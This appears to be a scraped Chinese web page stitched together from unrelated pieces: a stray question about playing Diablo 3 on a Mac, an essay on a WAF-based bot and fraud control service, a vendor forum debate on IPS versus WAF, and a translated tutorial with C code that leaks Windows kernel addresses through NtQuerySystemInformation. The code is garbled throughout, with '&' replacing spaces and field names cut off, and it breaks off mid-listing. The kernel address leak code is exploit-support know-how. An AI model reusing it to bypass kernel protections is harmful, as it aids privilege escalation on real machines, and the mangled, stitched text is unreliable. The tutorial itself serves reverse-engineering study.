我朋友这电脑苹果电脑能玩暗黑3吗怎么会这么卡

&你们安全不要阻碍业务发展&、&这个安全策略降低用户体验,影响转化率&&&这是甲方企业安全部门经常听到合作团队抱怨。但安全从业者加入公司的初衷绝对不是&阻碍业务发展&,那么安全解决方案能否成为&业务促进者&,而非&业务阻碍者&呢?答案是肯定。
安全和业务接耦,对客户透明的安全产品,如防火墙、IDS、WAF等就很少遭受到类似的吐槽。
但回归到互联网业务安全场景,现在业务安全防控常见场景往往如下:
安全:&登陆流量报警了,有人在刷库"&
业务:&我看下,这是个登录入口是给哪个业务开放的,已经很久没人维护过了&
BOSS:&有什么方法可以快速止血吗?&&
安全、业务:&这个小入口之前都没有接入过风控系统,只能账号回捞事后处置了&&
安全:&这个安全策略需要你们把用户登录的IP发给我。&业务开发改造N天上线。&
安全:&这里有一部分IP不对啊,是不是取的网关的内网IP。&&
业务开发:&&&
业务开发:&安全让我们纪录user-agent、浏览记录,现在业务的响应时间很多都消耗在打日志上了。做这些有业务价值吗?&&
这些场景核心问题都在于业务安全解决方案通常嵌入业务逻辑中。那互联网业务安全有没有如同防火墙一样通用的解决方案呢?要解答这个问题我们先探究业务安全的&通用安全风险&。
0x01 业务安全通用安全风险
要找到业务安全的通用风险,首先得定义什么状态才算业务&安全&。当安全工程师被客户问到&这个产品是否安全?&,他往往会考虑各种安全细节问题,业务类的是否会被撞库、是否存在信息泄漏,系统类的是否有注入、水平权限控制等问题。但这些安全细节问题,往往并非问题&是否安全&的答案。
客户所需要的&安全&是一个平衡。没有绝对安全的系统,再健壮的系统也有可能因为安全问题而遭受资损,同时为系统提高安全性也并非零成本。&所以客户需要的&安全&是安全成本和安全资损的平衡。为一个DMZ区的博客服务器专门配备一个安全工程师不是客户需要的&安全&。节约安全成本却导致大规模的撞库事件也不是客户希望的&安全&。
回归到业务安全场景,会发现一个共同特征。只有达到一定规模,批量利用,业务安全漏洞才会造成业务影响。一次Web攻击可能就写入webshell导致机器沦陷,但有限次的撞库、垃圾注册、垃圾消息、刷单造成的威胁是企业可以承受的。而攻击者要达到大规模,批量性的目的,都要通过机器来自动化实现。可以得出结论&&大规模、批量性的机器风险是业务安全领域面临的通用风险。
0x02 通用解决方案需求分析
上节已经得出大规模、批量性的机器风险是业务安全领域面临的最大痛点,那么要实现通用的&解决机器风险方案&有哪些需求。针对机器风险业界防御手段已经很成熟&&针对人类知识(验证码)、针对人类固有特征(行为识别)、消耗机器成本(POW)等。但业界仍无整合这些防御手段提供通用普适的业务安全解决方案,问题主要有两点&&无法做到业务透明和快速部署。
业务透明:
现有的人机识别方案,客户需要前端、后端的改造进行接入,甚至于业务需要配合安全方案进行业务逻辑的调整。安全侵入业务主逻辑,有时候安全甚至成为业务的负担。
快速部署:
机器风险防御手段过于复杂,无法快速部署,进而导致业务系统无法通过配置简单的实现全站部署防控。而业务系统往往有无数的小流量入口,这些未进行部署的入口往往成为漏洞。
0x03 通用解决方案具体实现
如何实现&业务透明&、&快速部署&的通用机器风险解决方案呢?核心是能够以中间人的方式介入浏览器和业务服务器之间,实现如下需求:
在页面注入相应的Javascript脚本;
Javascript脚本采集数据并hook用户所有触发提交操作的事件,将数据在用户发起请求时注入请求中;
能够代理转发浏览器与业务服务器的请求,并解析请求内容;
现在中间人攻击工具(MITMf)已经相当成熟,而逆向应用中间人攻击工具的思路似乎可以达成这些需求。在业务服务器与浏览器之间部署WAF服务,用户在浏览网站时由WAF注入前端需要数据采集的JS,同时JS在前端hook用户的请求事件,用户发起请求时将采集的风险识别数据注入,请求再次到达反向代理时,由反向代理提取相应风险识别数据提交风控大脑进行综合决策判断是阻断用户请求还是发起二次校验挑战。
WAF数据风控服务在业务服务器与浏览器之间的交互流程如下图:
关键的业务风险防控采用三层漏斗模型进行层层过滤,达到透明阻断业务风险的目标。这三层漏斗模型分别是:阻断机器从而杜绝攻击者批量攻击的风险,异常流量分析识别部分漏网的机器行为及行为轨迹异常的不良用户,征信模型基于对于用户的信誉评分拒绝不良用户,最终达到将服务推送给目标用户的目的。
阻断机器:
针对人类固有特征进行机器识别,基于JS实现的采集用户行为数据,通过线上实时模型来发现机器行为进行阻断;
消耗机器攻击成本从而让攻击得不偿失,基于POW(proof of work)原理,通过服务端下发问题消耗前端的计算量。对于有足够空余CPU资源的普通用户少量的计算并不消耗成本,而攻击者需要达到批量攻击的效果则会占用极大的计算资源,让攻击得不偿失。
流量分析:
通过机器学习对网络流量中的异常流量进行识别,从而拦截一些行为轨迹异常的不良用户,常见思路如下:
浏览轨迹,比如在互联网金融场景,正常用户会在注册后对比多款理财产品最后进行下单,而&羊毛党&往往在群里得到活动信息就会直奔活动页面薅羊毛;
URL聚类,在网络购物场景,正常用户购买某款商品之前一般会在同类目商品中进行选择;
浏览频率,在UGC网站上,用户浏览和评论的一般是有一定时间间隔,频繁秒回的用户极有可能是在发垃圾消息。
征信模型:
伴随互联网诞生有一句经典的论断&在互联网上,没人知道你是一条狗&。然而业务安全场景,识别用户身份、评估用户信誉是业务风控的重要依据。借鉴现实社会成熟的征信系统,且现在互联网已经是一个成熟的生态闭环。通过设备指纹标示用户,基于用户在互联网的活动记录进行信誉评分,并辅以失信用户名单,从而对bypass前两层的高风险用户进行拦截。
0x04 WAF数据风控服务的价值
回归到文章开始的问题,业务安全防控如何成为&业务促进者&,WAF数据风控服务能否达成这个目标?答案是肯定的。
WAF数据风控服务有两大优势,而这两大优势在保障企业业务安全同时也达到了促进业务发展提速的目标。
第一,业务透明,业务开发资源可以专注的投入在业务代码上,降低企业达成安全需求的成本。
第二,快速部署,WAF数据风控服务可以快速进行全站部署,快速实现对网站业务风险的保障。如同安全带的发明保障驾驶员的安全性同时进而让汽车能够更安全的以更高的速度行驶,对全站进行业务风险防控后也可以让企业真正把业务推送给目标用户,从而让企业的业务发展提速。
阅读(...) 评论()企业Web安全威胁综述
看看绿盟科技专家如何帮助赵明
赵明所在网络的Web服务器受到攻击,看看专家是如何帮助他摆脱困境?
专家视频访谈:
21世纪的前3年中,Code Red、Nimda、SQL Slammer等蠕虫的先后爆发,暴露了网络防火墙的不足,直接催生了IPS(入侵防御系统)。2008年开始,大规模SQL注入的出现,意味着Web开始成为黑客攻击的焦点。WAF(Web Application Firewall,Web应用防火墙)就在这时开始萌发。而IPS也在原有架构下开始加强对Web的防护。时至今天,WAF发展如何?IPS发展如何?
对一个客户的Web安全,是部署了IPS就万事大吉?还是说WAF会成为必须的防护手段?两者之间的关系又是什么呢?
辩论题目:&Web安全,IPS就足矣
WAF也必须&
1、可以挑战擂主观点,只要观点清晰、完整即可。
2、可以支持擂主的观点。
3、分享在Web安全防御方面的经验和技巧。
“观点清晰,完整”的午饭将获得精美礼品:
纯金属质感限量版精美相框(5个),印有绿盟LOGO 的十周年限量版钥匙扣(附送使用说明书)(15个)
本期获奖名单:(请获奖用户尽快将邮寄地址和对应ID、姓名发到。#请自行替换成@)
1、(中立)solarix: “不谈技术,重新审题后,再来看看这个辩论~”
2、(正方)hblf:“安全技术千千万,企业安全是否真的需要产品的堆叠?”、“说说自己的感受,不站在所谓正方or反方的立场”
3、(反方)ccfxny:“ips必须,waf也要”、“ips+waf也不是万能的”
4、(反方)小侠唐在飞:“IPS不是万能的,WEB安全还得另想办法”
5、(反方)老韩菜弟:“用户需要真正的WAF”
最新正方观点(IPS 就足矣)
&hblf:在针对web的防御方面,我倾向于WAF会逐步替代IPS,但不是每个客户在WEB安全防护的需求与整体网络安全防护需求是相当的,因此从大的方面来说,WAF并不会对IPS构成威胁……
&rainyuers:按照您的说法,IPS在Web安全防御上无用武之地喽?可据我所知,目前很多企业仍然在使用IPS,而非WAF。这是市场目前的状况,按照你的思路发展下去,也就是说,WAF肯定会取代IPS,而IPS必顶会被时代淘汰。事情是这样发展的么?
&pikalo:这些结果相对应的策略不一定非要用在产品的配置上,比如在部署Web应用之前实施安全测试,在部署之后用漏洞扫描工具和站点监视工具对网站进行测试。再比如,对于防御SQL注入攻击,检查网页代码是必要的,绝对不能忘记的事还有修补漏洞,我们可以选择修改源代码来过滤关键字,以上这些方法虽然都是一些手段,但是作为防御SQL注入和Web安全威胁来说,还是IPS显得更加专业一些,简单一句话的道理,威胁层出不穷,不管怎么防御,都要先检测出这些威胁,没有检测连防御什么都不知道,就更谈不上防御了。所以,Web安全防御可以选择使用专业的IPS产品。
&hblf: 举个极端点的例子哈,如果我所在的企业,就一台web服务器,日访问千余ip,只用来企业文化展示,企业动态宣传之用。且在其前端已经部署IPS,页面都已生成静态页面,那么这样的企业是否还有必要在WAF身上投入呢?答案应该是显然的吧。
其实我的一个感觉是,WAF从某种角度说,更合理的客户对象,不是企业,而是IDC……
&pikalo:不可否认,SQL攻击特征是千变万化的,但攻击造成某种现象却相对一致,所以无需对攻击特征设定策略,只需要对结果特征进行相应的策略,就能阻断这些看上去千变万化的攻击。显然,您是绿盟的人吧,不然ID不会是NSFOCUS,哈哈,我们单位用的IPS就是天清系列,和你们是竞争对手哦! 10月28日
&一剑倾城:更加适合Web安全防御?用IPS就行了。国内有公司已经做出WIPS了,即专门针对WEB的IPS入侵防御产品。10月27日
&hblf:“安全技术千千万,企业安全是否真的需要产品的堆叠?”、“说说自己的感受,不站在所谓正方or反方的立场”。web安全市场越来越火热,新技术和新产品层出不穷,各个厂商也纷纷在此市场投入研发经历完善产品或是推陈出新,当然,这一切对于企业的安全建设和安全保障来说,都是好事。企业安全管理人员的选择面会更广,技术可以把握的更细致。10月27日
最新反方观点(WAF 也必须)
&李从宇:防篡改,是一个不太标准的技术说法,有些厂商把能防一些攻击就叫作防篡改,有些厂商把静态页面操作权限监控叫作防篡改,这是个模糊的领域……11月05日
&李从宇:关于代码检查和修改,这的确是实现Web安全“更本质”的做法,但在实际的Web应用开发与维护中进行深度的代码检查是不现实的(对大部分场景来说),因为当代码检查达到一定深度时,更多的成本投入已经不能带来风险的明显降低,而此时由于Web应用系统不能上线所浪费的机会成本就大到不能接收了……11月02日
&李从宇:黑客可以尝试频繁地模拟错误条件,然后从服务器的响应中挖掘出关于应用程序、服务器程序或数据库的敏感信息。这些信息汇集在一起能被用作发起随后的专项攻击。而WAF可以遏制响应中的敏感信息,例如堆栈路径和测试信息,可以给Web应用程序罩上一个隐身斗篷。
&秦波:我们知道Web应用由多层架构组成:Network,OS/Web Server/application/Database等,IPS的定位是一英里宽,一寸厚,所以它必须支持多层协议,不仅包括IP、ICMP、UDP、TCP这几种网络层、传输层的协议,还有HTTP、TTPS、FTP、TFTP、SNMP、Telnet、SMTP、POP、DNS、RPC、LDAP、ICQ、MSN、Yahoo Messenger等众多的应用层协议,通常包括协议分析跟踪、特征匹配、流量统计分析、事件关联分析等技术,性能和功能决定了它不可能对所有应用深入去支持,而定位于防护这些层面的漏洞防护/攻击识别……11月01日
&biliw:我觉得还是需要用WAF的。至于上面有的朋友提到IPS够了,并且也说有厂商提出了WIPS的概念,但据我了解,这是厂商的市场策略,目的是在自己还没准备好的情况下先把水搅浑,把概念混淆,等自己做好准备后出了相应的专用产品时……10月28日
&老韩菜弟:WAF和IPS从功能实现上来说是完全不同的,但因不同厂商有自己的产品定义,所以市场推广方面有些混淆。一个简单的辨别其是否为真正WAF的方法是查看产品是否有流量模型自学习、自适应功能,传统的攻击特征库反倒不是特别重要。
从市场接受程度看,真正的WAF还是应该先从金融、税务等实际要求较高的行业突破,这类用户也确实需要WAF,而不是传统的IPS。
以上是菜弟的个人看法,才疏学浅,还要向绿盟的专家请教。……10月28日
&小侠唐在飞:IPS不是万能的。WEB安全还得另想办法,必须选择一个能解决深层次应用安全的产品。与现有的安全产品结合使用。WEB安全还得有专门 的WEB安全设备来解决! 10月27日
WAF-Web应用防火墙技术介绍
WAF能解决什么问题:
小贴士:什么是WAF
&&WAF:Web Application Firewall,Web应用防火墙。WAF是一种设备,它对一个HTTP会话应用一系列规则。通常,这些规则可以覆盖通用的攻击,如:跨站脚本(XSS)和SQL注入。通过在WAF上对某个应用程序进行有针对性的规则设置,WAF可以识别和阻断许多攻击。很好地完成规则设置非常重要,随着应用程序的修改,这些规则也需要相应的修改。
&防护设备:能够截获并分析所有HTTP数据,阻断攻击。
&访问控制设备:能够用来控制终端对Web应用的访问。
&架构设计工具:采用反向代理模式可以集中控制交互。
&Web应用加固工具:屏蔽已上线Web应用的漏洞。
WAF有哪些技术特性:
WAF和IPS的区别
WAF正是应需求而生的一款高端专业安全产品,这也是市场需求细化的必然趋势。但由于其部署和功能方面与IPS有类似,有人提出疑问,为什么不能用IPS,或者说WAF与IPS有什么异同?谁更适合保护Web服务器?
Web安全问题的技术根源和攻击方法演进在全球范围内是一样的,但WAF成为Web安全问题主流解决方案的过程在国内外走出了不同的轨迹。WAF在国内还会基于客观的需求,走出一条具有中国特色的发展道路。
WAF最佳实践展示
该门户网站承载了省直多家单位的网上业务,网页以动态内容居多。2008年5月,该政务网站遭遇SQL群注(Mass SQL Injection)攻击。网站发布的重要信息被篡改成为大量的恶意代码。
通常情况,WAF的部署位置在防火墙和WEB服务器群之间,对WEB服务器群的出入流量进行有效监控,从而确保WEB应用的安全。WAF具体接入网络的方式,一般采用透明串接方式,也可以采用旁挂方式。
从宏观角度看Web安全问题的本质和根源。解读和运用OWASP新的2010版TOP10安全威胁,作为理论指导的依据,选择合适的产品WAF,降低风险,保障Web业务系统运行。
白皮书下载
针对WEB业务系统,提供WEB安全和WEB应用交付融合的解决方案..
实时阻断SQL注入、DDoS各类应用层攻击,保护企业系统基础架构..【技术分享】通过内核地址保护措施,回顾Windows安全加固技术
时间: 13:19:43
分类 : 黑客技术
在2011年的时候,Windows 7 Service Pack 1如日中天,那时我才开始接触编程,而j00ru则发布了一个介绍在用户模式下通过各种方式访问Windows内核指针的白皮书:Windows Security Hardening Through Kernel Address Protection。
我决定重新回味一下这篇白皮书中讨论的各种技术,搜罗可用于Windows 7上的相应版本,然后调查它们能否在Windows 8 / 8.1 / 10上奏效。遇到无法在Windows 8 / 8.1 / 10上工作的时候,我会进一步研究相应的函数在新版本的Windows中发生了怎样的变化。这方面的工作,虽然很多都被别人做过了,但通过动手实践,我还是学到了很多东西;同时,作为一个有趣的逆向工程的练习,或许对大家也会有所帮助。
对于每个例子,我都会提供一个可用于Windows 7 32位的实现,然后将其移植到64位Windows,如果发现无法用于新版本的Windows 的话,则说明原来用到的某些特性在新版本操作系统中已经发生了变化。
&本文中讨论的每一种技术,在Github上都可以下载到相应的Visual Studio项目。
Windows System Information classes
&NtQuerySystemInformation是一个经典的和众所周知的未公开函数,利用逆向工程的获得的各种细节,人们发现它可以用来收集关Windows内核的状态信息。 它在MSDN上的定义如下:
NTSTATUS&WINAPI&NtQuerySystemInformation(
&&_In_&&&&&&SYSTEM_INFORMATION_CLASS&SystemInformationClass,
&&_Inout_&&&PVOID&&&&&&&&&&&&&&&&&&&&SystemInformation,
&&_In_&&&&&&ULONG&&&&&&&&&&&&&&&&&&&&SystemInformationLength,
&&_Out_opt_&PULONG&&&&&&&&&&&&&&&&&&&ReturnLength
第一个参数是SYSTEM_INFORMATION_CLASS的值,这个值决定返回什么信息。 这些值可以在winternl.h中找到,其他的值也被人通过逆向工程找到了(例如在wine项目实现中就可以找到这些值)。 在j00ru的论文中,他考察了4个枚举值,我们将在后文中单独加以解释。
第二个参数是指向输出数据的结构的指针,它会随着SystemInformationClass值的不同而变化,第三个参数是其长度。 最后一个参数用于返回写入输出结构的数据量。
为了避免为各个SystemInformationClass值重复编码,我将在这里给出实际定义和调用NtQuerySystemInformation的代码。 首先,我们将包含标准的Visual Studio项目头文件,同时要完整导入Windows.h文件,因为它定义了我们需要用到的许多Windows特有的结构和函数。
我们还需要定义NyQuerySystemInformation函数,以便让一个指针指向它,从而便于调用。
typedef&NTSTATUS(WINAPI&*PNtQuerySystemInformation)(
&&&&__in&SYSTEM_INFORMATION_CLASS&SystemInformationClass,
&&&&__inout&PVOID&SystemInformation,
&&&&__in&ULONG&SystemInformationLength,
&&&&__out_opt&PULONG&ReturnLength
最后,我们还需要在ntdll中找到NtQuerySystemInformation函数,方法是获取一个ntdll的HANDLE,然后再其中寻找该函数的地址,然后快速检查它是否已成功找到。
HMODULE&ntdll&=&GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation&query&=&(PNtQuerySystemInformation)GetProcAddress(ntdll,&"NtQuerySystemInformation");
if&(query&==&NULL)&{
&&&&printf("GetProcAddress()&failed.\n");
&&&&return&1;
上述代码一旦运行,我们就可以像调用函数一样来查询变量了。
Windows 7 32 bit &SystemModuleInformation
这里介绍的第一个SystemInformationClass值是SystemModuleInformation,当使用此值时,返回当前已经加载到内核空间的地址的所有驱动程序的相关数据,包括它们的名称和大小。
首先,我们需要定义枚举值SYSTEM_INFORMATION_CLASS,稍后我们将其传递给NtQuerySystemInformation,这里其值为11,如下所示。
typedef&enum&_SYSTEM_INFORMATION_CLASS&{
&&&&SystemModuleInformation&=&11
}&SYSTEM_INFORMATION_CLASS;
接下来,我们需要定义引用SystemModuleInformation时NtQuerySystemInformation会将信息加载到其中的结构。
typedef&struct&SYSTEM_MODULE&{
&&&&ULONG&&&&&&&&&&&&&&&&Reserved1;
&&&&ULONG&&&&&&&&&&&&&&&&Reserved2;
&&&&PVOID&&&&&&&&&&&&&&&&ImageBaseA
&&&&ULONG&&&&&&&&&&&&&&&&ImageS
&&&&ULONG&&&&&&&&&&&&&&&&F
&&&&WORD&&&&&&&&&&&&&&&&&Id;
&&&&WORD&&&&&&&&&&&&&&&&&R
&&&&WORD&&&&&&&&&&&&&&&&&w018;
&&&&WORD&&&&&&&&&&&&&&&&&NameO
&&&&BYTE&&&&&&&&&&&&&&&&&Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE,&*PSYSTEM_MODULE;
typedef&struct&SYSTEM_MODULE_INFORMATION&{
&&&&ULONG&&&&&&&&&&&&&&&&ModulesC
&&&&SYSTEM_MODULE&&&&&&&&Modules[1];
}&SYSTEM_MODULE_INFORMATION,&*PSYSTEM_MODULE_INFORMATION;
如您所见,SYSTEM_MODULE结构包括ImageBaseAddress、ImageSize和Name字段,这些正是我们感兴趣的东西。为了弄清楚我们需要分配多少内存,我们必须调用NtQuerySystemInformation SystemModuleInformation枚举值和一个NULL输出指针,这样的话,它就会加载所需的字节数到ReturnLength参数。
&ULONG&len&=&0;
query(SystemModuleInformation,&NULL,&0,&&len);
现在我们知道了需要多少内存,那么就可以分配一个适当大小的SYSTEM_MODULE_INFORMATION结构了,然后,再次调用NtQuerySystemInformation。
&PSYSTEM_MODULE_INFORMATION&pModuleInfo&=&(PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT,&len);
if&(pModuleInfo&==&NULL)&{
&&&&printf("Could&not&allocate&memory&for&module&info.\n");
&&&&return&1;
query(SystemModuleInformation,&pModuleInfo,&len,&&len);
if&(len&==&0)&{
&&&&printf("Failed&to&retrieve&system&module&information.\r\n");
&&&&return&1;
在检查一切都返回都没有任何错误后,我们就可以使用ModulesCount字段来遍历SYSTEM_MODULE数组,从而打印每个模块的关键细节信息了。
for&(int&i&=&0;&i&&&pModuleInfo-&ModulesC&i++)&{
&&&&PVOID&kernelImageBase&=&pModuleInfo-&Modules[i].ImageBaseA
&&&&PCHAR&kernelImage&=&(PCHAR)pModuleInfo-&Modules[i].N
&&&&printf("Module&name&%s\t",&kernelImage);
&&&&printf("Base&Address&0x%X\r\n",&kernelImageBase);
构建并运行上述代码,我们将得到以下输出结果。
这个例子的完整代码(包括后面讨论的在64位Windows上运行的版本)可以从Github上面下载。
SystemHandleInformation
在j00ru的论文中提到的第二个SystemInformationClass值是SystemHandleInformation,它给出了内核内存中所有进程的每个对象的HANDLE和指针,其中包括所有Token对象。在这里,我们将使用SystemHandleInformation的扩展版本,因为原始版本只给出16位的HANDLE值,这在某些情况下可能是不够的。 首先,我们需要再次定义正确的SYSTEM_INFORMATION_CLASS值。
typedef&enum&_SYSTEM_INFORMATION_CLASS&{
&&&&SystemExtendedHandleInformation&=&64
}&SYSTEM_INFORMATION_CLASS;
接下来,我们需要定义输出结构(取自Process Hacker,从第1595行开始)。
typedef&struct&_SYSTEM_HANDLE
&&&&PVOID&O
&&&&HANDLE&UniqueProcessId;
&&&&HANDLE&HandleV
&&&&ULONG&GrantedA
&&&&USHORT&CreatorBackTraceI
&&&&USHORT&ObjectTypeI
&&&&ULONG&HandleA
&&&&ULONG&R
}&SYSTEM_HANDLE,&*PSYSTEM_HANDLE;
typedef&struct&_SYSTEM_HANDLE_INFORMATION_EX
&&&&ULONG_PTR&HandleC
&&&&ULONG_PTR&R
&&&&SYSTEM_HANDLE&Handles[1];
}&SYSTEM_HANDLE_INFORMATION_EX,&*PSYSTEM_HANDLE_INFORMATION_EX;
正如您看到的,输出结构包含每个对象的HandleValue和Object字段,它是一个指向对象在内存中的位置的指针。
typedef&struct&_SYSTEM_HANDLE
&&&&PVOID&O
&&&&HANDLE&UniqueProcessId;
&&&&HANDLE&HandleV
&&&&ULONG&GrantedA
&&&&USHORT&CreatorBackTraceI
&&&&USHORT&ObjectTypeI
&&&&ULONG&HandleA
&&&&ULONG&R
}&SYSTEM_HANDLE,&*PSYSTEM_HANDLE;
typedef&struct&_SYSTEM_HANDLE_INFORMATION_EX
&&&&ULONG_PTR&HandleC
&&&&ULONG_PTR&R
&&&&SYSTEM_HANDLE&Handles[1];
}&SYSTEM_HANDLE_INFORMATION_EX,&*PSYSTEM_HANDLE_INFORMATION_EX;
为了使用这个SystemInformationClass值,NtQuerySystemInformation提供了一个奇怪的API,当使用NULL指针调用它时,它不是返回所需的内存,而只是返回NTSTATUS代码0xC0000004。 这是STATUS_INFO_LENGTH_MISMATCH的代码,当为待写入的输出分配的内存不足时,就会返回该代码。为了处理这个问题,我为输出分配了很少的内存,然后不断调用NtQuerySystemInformation,每次将内存量加倍,直到它返回一个不同的状态代码为止。
ULONG&len&=&20;
NTSTATUS&status&=&(NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX&pHandleInfo&=&NULL;
&&&&len&*=&2;
&&&&pHandleInfo&=&(PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT,&len);
&&&&status&=&query(SystemExtendedHandleInformation,&pHandleInfo,&len,&&len);
}&while&(status&==&(NTSTATUS)&0xc0000004);
一旦分配了足够的内存,该函数就会成功返回,然后我们就可以像前面介绍的那样来遍历输出,并打印我们感兴趣的值了。
for&(int&i&=&0;&i&&&pHandleInfo-&HandleC&i++)&{
&&&&PVOID&object&=&pHandleInfo-&Handles[i].O
&&&&HANDLE&handle&=&pHandleInfo-&Handles[i].HandleV
&&&&HANDLE&pid&=&pHandleInfo-&Handles[i].UniqueProcessId;
&&&&printf("PID:&%d\t",&pid);
&&&&printf("Object&0x%X\t",&object);
&&&&printf("Handle&0x%X\r\n",&handle);
构建并运行上述代码,我们将得到以下输出结果。
这个例子的完整代码(包括后面在64位Windows上运行的相应版本)可以从Github上面下载。
SystemLockInformation
在j00ru的论文中考察的第三个SystemInformationClass值是SystemLockInformation,它返回当前存在于内核内存中的每个Lock对象的详细信息和地址。 同样的,我们首先要定义正确的SYSTEM_INFORMATION_CLASS值。
typedef&enum&_SYSTEM_INFORMATION_CLASS&{
&&&&SystemLockInformation&=&12
}&SYSTEM_INFORMATION_CLASS;
接下来,我们需要定义输出结构,为此,我引用了j00ru的文件中的结构定义,并假设提供LocksCount信息的容器结构也采用其他结构的模式。
typedef&struct&_SYSTEM_LOCK&{
&&&&PVOID&&&A
&&&&USHORT&&T
&&&&USHORT&&Reserved1;
&&&&ULONG&&&ExclusiveOwnerThreadId;
&&&&ULONG&&&ActiveC
&&&&ULONG&&&ContentionC
&&&&ULONG&&&Reserved2[2];
&&&&ULONG&&&NumberOfSharedW
&&&&ULONG&&&NumberOfExclusiveW
}&SYSTEM_LOCK,&*PSYSTEM_LOCK;
typedef&struct&SYSTEM_LOCK_INFORMATION&{
&&&&ULONG&&&&&&&&&&&&&&LocksC
&&&&SYSTEM_LOCK&&&&&&&&Locks[1];
}&SYSTEM_LOCK_INFORMATION,&*PSYSTEM_LOCK_INFORMATION;
在SYSTEM_LOCK结构中,需要注意的关键值是Address字段,它是指向内核内存中的对象的指针。
就像SystemExtendedHandleInformation的用法那样,无法直接让NtQuerySystemInformation提供我们所需的输出缓冲区大小,我们需要在一个循环中调用它,直至给出长度不匹配错误代码为止。
PSYSTEM_LOCK_INFORMATION&pLockInfo&=&NULL;
ULONG&len&=&20;
NTSTATUS&status&=&(NTSTATUS)0xc0000004;
&&&&len&*=&2;
&&&&pLockInfo&=&(PSYSTEM_LOCK_INFORMATION)GlobalAlloc(GMEM_ZEROINIT,&len);
&&&&status&=&query(SystemLockInformation,&pLockInfo,&len,&&len);
}&while&(status&==&(NTSTATUS)0xc0000004);
一旦分配了足够的内存,该函数就会成功返回,然后我们就可以像前面介绍的那样来遍历输出,并打印我们感兴趣的值了。
for&(int&i&=&0;&i&&&pLockInfo-&LocksC&i++)&{
&&&&PVOID&lockAddress&=&pLockInfo-&Locks[i].A
&&&&USHORT&lockType&=&(USHORT)pLockInfo-&Locks[i].T
&&&&printf("Lock&Address&0x%X\t",&lockAddress);
&&&&printf("Lock&Type&0x%X\r\n",&lockType);
它可以在32位Windows 7 上成功运行:
完整代码,包括64位Windows的相应版本,可以从Github下载。
SystemExtendedProcessInformation
在j00ru的论文中提到的最后一个SystemInformationClass值是SystemExtendedProcessInformation,它返回在系统中运行的所有进程和线程的详细信息,包括每个线程用户和内核模式堆栈的地址。 首先,我们需要定义正确的SYSTEM_INFORMATION_CLASS值。
typedef&enum&_SYSTEM_INFORMATION_CLASS&{
&&&&SystemSessionProcessInformation&=&57
}&SYSTEM_INFORMATION_CLASS;
接下来,我们需要定义所有的输出结构,这些结构取自伯克利的BOINC项目。借助于逆向工程,人们已经对该结构有了全面的了解,所以我们不妨使用完整的结构定义。&
typedef&LONG&&&&&&&KPRIORITY;
typedef&struct&_CLIENT_ID&{
&&&&DWORD&&&&&&&&&&UniqueP
&&&&DWORD&&&&&&&&&&UniqueT
}&CLIENT_ID;
typedef&struct&_UNICODE_STRING&{
&&&&USHORT&&&&&&&&&L
&&&&USHORT&&&&&&&&&MaximumL
&&&&PWSTR&&&&&&&&&&B
}&UNICODE_STRING;
typedef&struct&_VM_COUNTERS&{
&&&&SIZE_T&&&&&&&&&PeakVirtualS
&&&&SIZE_T&&&&&&&&&VirtualS
&&&&ULONG&&&&&&&&&&PageFaultC
&&&&SIZE_T&&&&&&&&&PeakWorkingSetS
&&&&SIZE_T&&&&&&&&&WorkingSetS
&&&&SIZE_T&&&&&&&&&QuotaPeakPagedPoolU
&&&&SIZE_T&&&&&&&&&QuotaPagedPoolU
&&&&SIZE_T&&&&&&&&&QuotaPeakNonPagedPoolU
&&&&SIZE_T&&&&&&&&&QuotaNonPagedPoolU
&&&&SIZE_T&&&&&&&&&PagefileU
&&&&SIZE_T&&&&&&&&&PeakPagefileU
}&VM_COUNTERS;
typedef&enum&_KWAIT_REASON
&&&&Executive&=&0,
&&&&FreePage&=&1,
&&&&PageIn&=&2,
&&&&PoolAllocation&=&3,
&&&&WrRundown&=&36,
&&&&MaximumWaitReason&=&37
}&KWAIT_REASON;
typedef&struct&_SYSTEM_THREAD_INFORMATION{
&&&&LARGE_INTEGER&KernelT
&&&&LARGE_INTEGER&UserT
&&&&LARGE_INTEGER&CreateT
&&&&ULONG&WaitT
&&&&PVOID&StartA
&&&&CLIENT_ID&ClientId;
&&&&KPRIORITY&P
&&&&LONG&BaseP
&&&&ULONG&ContextS
&&&&ULONG&ThreadS
&&&&KWAIT_REASON&WaitR
}&SYSTEM_THREAD_INFORMATION,&*PSYSTEM_THREAD_INFORMATION;
typedef&struct&_SYSTEM_EXTENDED_THREAD_INFORMATION
&&&&SYSTEM_THREAD_INFORMATION&ThreadI
&&&&PVOID&StackB
&&&&PVOID&StackL
&&&&PVOID&Win32StartA
&&&&PVOID&TebA
&&&&ULONG&Reserved1;
&&&&ULONG&Reserved2;
&&&&ULONG&Reserved3;
}&SYSTEM_EXTENDED_THREAD_INFORMATION,&*
PSYSTEM_EXTENDED_THREAD_INFORMATION;
typedef&struct&_SYSTEM_EXTENDED_PROCESS_INFORMATION
&&&&ULONG&NextEntryO
&&&&ULONG&NumberOfT
&&&&LARGE_INTEGER&SpareLi1;
&&&&LARGE_INTEGER&SpareLi2;
&&&&LARGE_INTEGER&SpareLi3;
&&&&LARGE_INTEGER&CreateT
&&&&LARGE_INTEGER&UserT
&&&&LARGE_INTEGER&KernelT
&&&&UNICODE_STRING&ImageN
&&&&KPRIORITY&BaseP
&&&&ULONG&UniqueProcessId;
&&&&ULONG&InheritedFromUniqueProcessId;
&&&&ULONG&HandleC
&&&&ULONG&SessionId;
&&&&PVOID&PageDirectoryB
&&&&VM_COUNTERS&VirtualMemoryC
&&&&SIZE_T&PrivatePageC
&&&&IO_COUNTERS&IoC
&&&&SYSTEM_EXTENDED_THREAD_INFORMATION&Threads[1];
}&SYSTEM_EXTENDED_PROCESS_INFORMATION,&*PSYSTEM_EXTENDED_PROCESS_INFORMATION;
在这些结构中,我们感兴趣的关键值是StackBase和StackLimit字段,它们提供了线程内核模式堆栈的起始地址及其边界。
再次重申,NtQuerySystemInformation不会告诉我们需要分配多少内存,所以我们需要利用循环来调用它。
ULONG&len&=&20;
NTSTATUS&status&=&NULL;
PSYSTEM_EXTENDED_PROCESS_INFORMATION&pProcessInfo&=&NULL;
&&&&len&*=&2;&&
&&&&pProcessInfo&=&(PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT,&len);
